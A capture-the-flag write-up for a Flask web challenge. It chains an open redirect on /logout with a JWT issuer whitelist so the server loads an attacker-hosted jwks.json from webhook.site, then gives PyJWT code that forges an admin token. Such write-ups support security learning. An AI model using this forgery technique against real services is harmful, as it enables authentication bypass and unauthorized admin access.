Tags: redirection jwt 

Rating:

Skills involved: Open Redirect + JWT Token Forgery

This challenge is very clear about what to do. I have read of the exploit some time ago but actually crafting one is super fun.

Solution:

Upon visiting the site, we're greeted by this friendly message:

image

OK. After pulling the source down I checked if there's any outdated packages - none.

I was not very familiar with the Python Flask framework but here's a summary:

  • Anything, absolutely anything will be used in the template.html template due to @app.after_request (remark: there is no SSTI)
  • There's a jwks.json file that gives a public key used by the server (remark: it is not possible to crack it - I tried)
  • Accessing /api/flag as admin will give us the flag right away. (remark: this can be confirmed by removing the authorize code)

The key here is that we can CHOOSE our host for the jwks.json:

valid_issuer_domain = os.getenv("HOST")
valid_algo = "RS256"
def get_public_key_url(token):
    is_valid_issuer = lambda issuer: urlparse(issuer).netloc == valid_issuer_domain

    header = jwt.get_unverified_header(token)
    if "issuer" not in header:
        raise Exception("issuer not found in JWT header")
    token_issuer = header["issuer"]

    if not is_valid_issuer(token_issuer):
        raise Exception(
            "Invalid issuer netloc: {issuer}. Should be: {valid_issuer}".format(
                issuer=urlparse(token_issuer).netloc, valid_issuer=valid_issuer_domain
            )
        )

    pubkey_url = "{host}/.well-known/jwks.json".format(host=token_issuer)
    return pubkey_url

While the domain is whitelisted and a proper URL check is done (as opposed to cringy /^http:\/\/localhost:8080/), there's another open-redirect vulnerability. Namely we can redirect the server to our own domain, bypassing the whitelist:

@app.route("/logout")
def logout():
    session.clear()
    redirect_uri = request.args.get('redirect', url_for('home'))
    return redirect(redirect_uri)

This is basically a challenge based on https://www.invicti.com/blog/web-security/json-web-token-jwt-attacks-vulnerabilities/, which included this exact exploitation path.

Now comes the technical part:

  • For crafting the public/private key pair:
    • I referenced:
      • https://blog.digital-craftsman.de/generate-a-new-jwt-public-and-private-key/
      • https://www.misterpki.com/openssl-genrsa/
    • Being a self-proclaimed RSA expert, I used openssl to do the work.
  • For hosting the key:
    • I once had immense difficulty on this when another challenge from somewhere else asked me to host an HTML file for CSRF.
    • Thanks to this challenge I realized that we all have a very powerful tool that we all already know: https://webhook.site
    • Yes, we can change the default return message, status code and content type on webhook.site
    • Remark: care needed to be taken to create the correct data structure, remove leading and trailing content, etc
  • For generating signed JWT:
    • I used the PyJWT package, but using https://jwt.io is equally fine:
import jwt

private_key = open("private.pem").read().strip()
public_key = open("public.pem").read().strip()

encoded=jwt.encode({"user":"admin"}, private_key, algorithm="RS256",
headers={"issuer":"http://localhost:8080/logout?redirect=https://webhook.site/..."})

The flag should come to you in no time.

Original writeup (https://github.com/RaccoonNinja/Project-SEKAI-CTF-2022-Writeups/blob/main/web/Issues.md).